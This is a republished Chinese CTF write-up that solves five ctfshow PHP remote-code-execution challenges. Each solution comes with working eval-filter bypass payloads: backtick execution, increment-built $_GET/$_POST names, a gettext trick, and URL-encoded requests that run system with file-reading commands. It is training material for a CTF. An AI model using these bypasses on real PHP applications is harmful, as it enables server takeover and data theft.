返回顶部
首页 > 资讯 > 后端开发 > PHP编程 >ctfshow--RCE极限挑战
  • 664
分享到

ctfshow--RCE极限挑战

php网络安全CTF开发语言 2023-09-09 08:09:35 664人浏览 八月长安
摘要

本周ctfshow的挑战注重点为RCE,主要利用是:自增绕过RCE RCE挑战1 属于简单类型 源码 error_reporting(0);highlight_file(__FILE__);$c

本周ctfshow的挑战注重点为RCE,主要利用是:自增绕过RCE

RCE挑战1

属于简单类型

源码

error_reporting(0);highlight_file(__FILE__);$code = $_POST['code'];$code = str_replace("(","括号",$code);$code = str_replace(".","点",$code);eval($code);

发现过滤了(.,我们可以利用反引号执行命令 echo输出

code=echo `ls /`;

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-sxlrpVYo-1668950575883)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221118145758514.png)]

输出flag

code=echo `cat /f1agaaa`;

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-6qVbdFFU-1668950575884)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221118145815342.png)]

RCE挑战2

比较简单的

打开题目 审计源码

error_reporting(0);highlight_file(__FILE__);if (isset($_POST['ctf_show'])) {    $ctfshow = $_POST['ctf_show'];    if (is_string($ctfshow)) {        if (!preg_match("/[a-zA-Z0-9@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){            eval($ctfshow);        }else{            echo("Are you hacking me AGaiN?");        }    }else{        PHPinfo();    }}

我们跑一下 看看哪些字符没有被过滤

phpfor ($i=32;$i<127;$i++){        if (!preg_match("/[a-zA-Z0-9@#%^&*:{}\-<\?>\"|`~\\\\]/",chr($i))){            echo chr($i)." ";        }}

结果:

  ! $ ' ( ) + , . / ; = [ ] _ 

可以考虑$_绕过!(自增绕过)

编写

$_=[]._;$__=$_['!'=='='];$__++;$__++;$__++;$___=++$__;++$__;$___=++$__.$___;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;$___=$___.++$__;$_='_'.$___;($$_[_])($$_[__]);//相当于 ($_GET[_])($_GET[__])  使用的时候url编码一下

传入

?_=system&__=ls

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ZTt2a0Ps-1668950575885)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221118161938354.png)]

找flag

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-VisaQcTH-1668950575885)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221118162003296.png)]

POST:ctf_show=%24_%3D%5B%5D._%3B%24__%3D%24_%5B'!'%3D%3D'%3D'%5D%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___%3D%2B%2B%24__%3B%2B%2B%24__%3B%24___%3D%2B%2B%24__.%24___%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%24___%3D%24___.%2B%2B%24__%3B%24_%3D'_'.%24___%3B(%24%24_%5B_%5D)(%24%24_%5B__%5D)%3BGET:?_=system&__=cat /f*

RCE挑战3

限制字符的自增 对于我来说较难

源码

//本题灵感来自研究Y4tacker佬在吃瓜杯投稿的shellme时想到的姿势,太棒啦~。error_reporting(0);highlight_file(__FILE__);if (isset($_POST['ctf_show'])) {    $ctfshow = $_POST['ctf_show'];    if (is_string($ctfshow) && strlen($ctfshow) <= 105) {        if (!preg_match("/[a-zA-Z2-9!'@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){            eval($ctfshow);        }else{            echo("Are you hacking me AGAIN?");        }    }else{        phpinfo();    }}

fuzz测试什么没有被过滤

for ($i=32;$i<127;$i++){    if (!preg_match("/[a-zA-Z2-9!'@#%^&*:{}\-<\?>\"|`~\\\\]/",chr($i))){        echo chr($i);    }}

输出

 $()+,./01;=[]_

要保证构造payload长度小于105而且还是自增rce

使用A的话构造GET肯定是无法小于105 那么可以尝试构造POST _/_ == NAN

构造的payload

$_=(_/_._)[0];$_0=++$_;$_0=++$_.$_0;++$_;++$_;$_0.=++$_;$_0.=++$_;$_=_.$_0;($$_[0])($$_[1]);

传入参数

POST:ctf_show=%24_%3D(_%2F_._)%5B0%5D%3B%24_0%3D%2B%2B%24_%3B%24_0%3D%2B%2B%24_.%24_0%3B%2B%2B%24_%3B%2B%2B%24_%3B%24_0.%3D%2B%2B%24_%3B%24_0.%3D%2B%2B%24_%3B%24_%3D_.%24_0%3B(%24%24_%5B0%5D)(%24%24_%5B1%5D)%3B&0=system&1=cat /f1agaaa

RCE挑战4

源码

//本题灵感来自研究Y4tacker佬在吃瓜杯投稿的shellme时想到的姿势,太棒啦~。error_reporting(0);highlight_file(__FILE__);if (isset($_POST['ctf_show'])) {    $ctfshow = $_POST['ctf_show'];    if (is_string($ctfshow) && strlen($ctfshow) <= 84) {        if (!preg_match("/[a-zA-Z1-9!'@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){            eval($ctfshow);        }else{            echo("Are you hacking me AGAIN?");        }    }else{        phpinfo();    }}

要求字符小于等于84

fuzz测试,可用字符

 $()+,./0;=[]_  $()+,./;=[]_

构造

$_=(_/_._)[0];++$_;$__=$_.$_++;++$_;++$_;++$_;$__.=$_++.$_;$_=_.$__;$$_[_]($$_[0]);// 分析一下//1.(_/_._)[0]==N//$__=$_.$_++; 此时的$_=O $_.$_++; 这个顺序是(实验得出来的):// 先使用 后自增 最后使用 $__=$_.O; -> $_++ -> $__=P.O;

payload

ctf_show=%24_%3D(_%2F_._)%5B0%5D%3B%2B%2B%24_%3B%24__%3D%24_.%24_%2B%2B%3B%2B%2B%24_%3B%2B%2B%24_%3B%2B%2B%24_%3B%24__.%3D%24_%2B%2B.%24_%3B%24_%3D_.%24__%3B%24%24_%5B_%5D(%24%24_%5B0%5D)%3B&_=system&0=nl /f1agaaa

RCE挑战5

源码

highlight_file(__FILE__);if (isset($_POST['ctf_show'])) {    $ctfshow = $_POST['ctf_show'];    if (is_string($ctfshow) && strlen($ctfshow) <= 73) {        if (!preg_match("/[a-zA-Z0-9!'@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){            eval($ctfshow);        }else{            echo("Are you hacking me AGAIN?");        }    }else{        phpinfo();    }}

限制传入的参数长度小于等于73

fuzz测试哪些字符没有被过滤

for ($i=32;$i<127;$i++){    if (!preg_match("/[a-zA-Z0-9!'@#%^&*:{}\-<\?>\"|`~\\\\]/",chr($i))){        echo chr($i);    }}//  $()+,./;=[]_

构造payload

# 第一种  !!知识点!! 直接使用_POST当做参数$_=(_/_._)[_];$_++;$__=$_.$_++;++$_;++$_;$$_[$_=_.$__.++$_.++$_]($$_[_]);第一个参数:_POST 第二个参数:_    # 借助ctfshow群里佬的payload tql# 第二种# 不可见字符替换  !!知识点!!$_=(_/_._)[_];++$_;$a=$_.$_++;++$_;++$_;$_=_.$a.++$_.++$_;$$_[_]($$_[a]);# 转为url后将a改为 %ff $fe 等不可见字符ctf_show=$%ff=_(%ff/%ff)[%ff];$_=%2b%2b$%ff;$_=_.%2b%2b$%ff.$_;$%ff%2b%2b;$%ff%2b%2b;$_.=%2b%2b$%ff.%2b%2b$%ff;$$_[_]($$_[%ff]);&_=system&%ff=cat /f1agaaa

另外更有大佬的payload

phpinfo安装了一个扩展gettext,该扩展支持函数_() ,相当于gettext(),直接转化为字符串

$a=_(a/a)[a];//相当于gettext(0/0)[0],得到N$_=++$a;//O$_=_.++$a.$_;//_PO$a++;$a++;//R$_.=++$a.++$a;//_POST$$_[a]($$_[_]);//$_POST[a]($_POST[_])

来源地址:https://blog.csdn.net/bossDDYY/article/details/127954538

--结束END--

本文标题: ctfshow--RCE极限挑战

本文链接: https://lsjlt.com/news/401112.html(转载时请注明来源链接)

有问题或投稿请发送至: 邮箱/279061341@qq.com    QQ/279061341

猜你喜欢
  • ctfshow--RCE极限挑战
    本周ctfshow的挑战注重点为RCE,主要利用是:自增绕过RCE RCE挑战1 属于简单类型 源码 error_reporting(0);highlight_file(__FILE__);$c...
    99+
    2023-09-09
    php 网络安全 CTF 开发语言
  • CTFshow-RCE极限大挑战
    前言 ctfshow出的这五道rce感觉挺好玩的,但自己没做出几道来,所以来详细的复现一下,这几道题基本都是利用的自增,但长度逐渐缩短,雀氏极限。 RCE1 源码 分析 可以看到我们最后执行的是eval,而过滤的只有( 和. ,而php ...
    99+
    2023-09-16
    php 开发语言
  • ctfshow 每周大挑战 极限命令执行
    《简单的命令执行题目》 这里感叹一下,g4佬是真好厉害,这次题目十分的难,嗯,对我这种菜鸡来说是这样的,想了一天,最后结束了,也还是没有想明白第五题的解法,我真是fw,比赛结束以前也只能解出4道。 但是这次获得了三十多块钱比上次解...
    99+
    2023-09-20
    php 开发语言 安全 学习 经验分享
  • [极客大挑战 2019]RCE ME
    linux php -r,Linux中php命令起什么作用呢?_冬瓜Don的博客-CSDN博客 -r:运行PHP代码,而无需使用脚本标记“..>” 浅谈PHP代码执行中出现过滤限制的绕过执行方法_末初mochu7的博客-CSDN博客_php...
    99+
    2023-09-15
    php 开发语言 github
  • CTFSHOW_RCE极限挑战
    不可见字符替代参数来减少字符数量gettext()扩展的使用,来得到字符串php代码执行特性自增 RCE挑战1 闭合 ...
    99+
    2023-10-24
    php 开发语言
  • BUUCTF:[极客大挑战 2019]RCE ME ——两种方法
    BUUCTF:[极客大挑战 2019]RCE ME 打开环境是 代码审计题 代码审计很简单 我们上传的payload中不能含有大小写字母和数字 我们可以使用 异或绕过 和url编码取反绕过绕过 ...
    99+
    2023-10-06
    php web安全 安全
  • ctfshow周末大挑战2023/5/12
    本周周末大挑战用到的函数讲解 parse_url() 作用:解析URL,返回其组成部分 语法: parse_url ( string $url [, int $component = -1 ] ) 参...
    99+
    2023-09-01
    php web安全 网络安全 安全
  • JavaScript MVC 架构的边界探索:挑战极限
    JavaScript MVC 架构的优势 JavaScript MVC(模型-视图-控制器)架构是一种流行的前端设计模式,它模块化了应用程序逻辑,提供了清晰的分离和可重用性。其优势包括: 清晰的分离:将应用程序逻辑划分为模型(数据)、...
    99+
    2024-03-02
    JavaScript MVC 架构、单页面应用程序、前端开发、可扩展性、性能
  • [极客大挑战 2019]PHP1
    既然提到了备份网站估计也是存在着网站备份文件,可以先用御剑扫一下 啥都没扫出来,但是上回做文件备份的题目时收集了一些关于常用备份文件的文件名和后缀,可以直接使用burp抓包爆破,果然爆破出一个...
    99+
    2023-09-02
    php 开发语言 Powered by 金山文档
  • [极客大挑战 2019]EasySQL 1
    [极客大挑战 2019]EasySQL 1 解题POC一、解题思路之暴力破解1. 弱口令2. 暴力破解 二、解题思路之万能密码1. 什么是万能密码2. 测试过程 解题POC ...
    99+
    2023-09-09
    数据库 sql php
  • [极客大挑战 2019]PHP 1
    一、打开是个猫猫,说有个备份网站,用dirsearch扫。 二、发现有个www.zip,备份网站一般也是,下载下来,index.php有点东西,页面会传入一个select的参数,然后把它反序列化,让我...
    99+
    2023-09-09
    php 开发语言 安全
  • web:[极客大挑战 2019]PHP
    题目 点进页面显示如下 根据页面提示,这个网站有备份文件,备份文件一般是bak文件格式,用dirsearch扫描 访问之后下载了一个文件 里面都是一些代码 在index.php中发现了一个类的文件,一个get传参,然后将传进的值进...
    99+
    2023-10-10
    php 开发语言 网络安全
  • BUUCTF [极客大挑战 2019]BuyFlag1
    进入靶场,发现有另一个buyflag页面 告诉我们如果要买flag,必须是cuit的学生,必须有正确的密码,查看源码,发现密码已经告诉我们  这里涉及post传递两个参数money和password,is_numeric的绕过 和pas...
    99+
    2023-09-01
    网络安全 php
  • [极客大挑战 2019]Havefun1、EasySQL(BUUCTF)
    前言: 这篇文章还是是为了帮助一些 像我这样的菜鸟 找到简单的题解 今天是2022年的最后一天, 这一年我居然写了72篇文章 获得5枚勋章  还多了14个粉丝 好了不说了,上水题的题解 EasySQL题目描述 解题工具: 不需什么工具,...
    99+
    2023-08-31
    php
  • BUUCTF[极客大挑战 2019]Secret File1
     打开题目连接如上图,没有输入点或上传点,所以我们查看页面源代码。 访问当前目录下的Archive_room.php文件  点击完发现啥也没看清  这时可以尝试用老朋友burp抓个包康康,将抓到的包放到Repeater里Go一下,发...
    99+
    2023-09-18
    web安全 php
  • BUUCTF-Web-[极客大挑战 2019]Upload
    打开后可以看到是一个可以进行文件上传的页面,如下图所示 查看页面源代码,如下图所示,可以看到有js代码,说明存在前端验证的可能性 上传一个php文件,此处上传shell.php后页面如下图所示,显示不是图片 用burpsuite进行抓...
    99+
    2023-10-07
    php 开发语言
  • Java 面试的终极挑战:如何迎接数组问题的挑战?
    在 Java 面试中,数组问题常常是面试官们喜欢问的问题之一。数组是 Java 中最基本的数据结构之一,理解数组的相关知识对于成为一名优秀的 Java 开发者至关重要。 本文将介绍 Java 中的数组相关知识,并给出一些练习题和代码示例,...
    99+
    2023-09-13
    响应 数组 面试
  • Buuctf [极客大挑战 2019]BuyFlag1 WP解析
    题目来源:极客大挑战 2019 题目名称:BuyFlag 1 打开网页  探索网站直到发现了pay   ctrl+u查看源代码 Buy You Flag来源地址:https://blog.csdn.net/qq_60115503/artic...
    99+
    2023-09-06
    php 前端 css spring 网络安全
  • [极客大挑战 2020]Greatphp (php 内置类)
    发现第一个if是md5和sha1函数的漏洞,用一个数组就可以绕过去,但是命令里面eval()syc这个参数又得被执行,所以不能是数组。 这时候只能想到php中的内置类,也就是原生类。 Error:用于PHP7、8,开启报错。 Exceot...
    99+
    2023-09-13
    php 开发语言 web安全
  • [极客大挑战 2019]PHP(反序列化)
    介绍说明,有备份的习惯,找常见的备份文件后缀名 使用dirsearch进行扫描 dirsearch -u http://f64378a5-a3e0-4dbb-83a3-990bb9e19901.nod...
    99+
    2023-09-04
    php android 开发语言
软考高级职称资格查询
编程网,编程工程师的家园,是目前国内优秀的开源技术社区之一,形成了由开源软件库、代码分享、资讯、协作翻译、讨论区和博客等几大频道内容,为IT开发者提供了一个发现、使用、并交流开源技术的平台。
  • 官方手机版

  • 微信公众号

  • 商务合作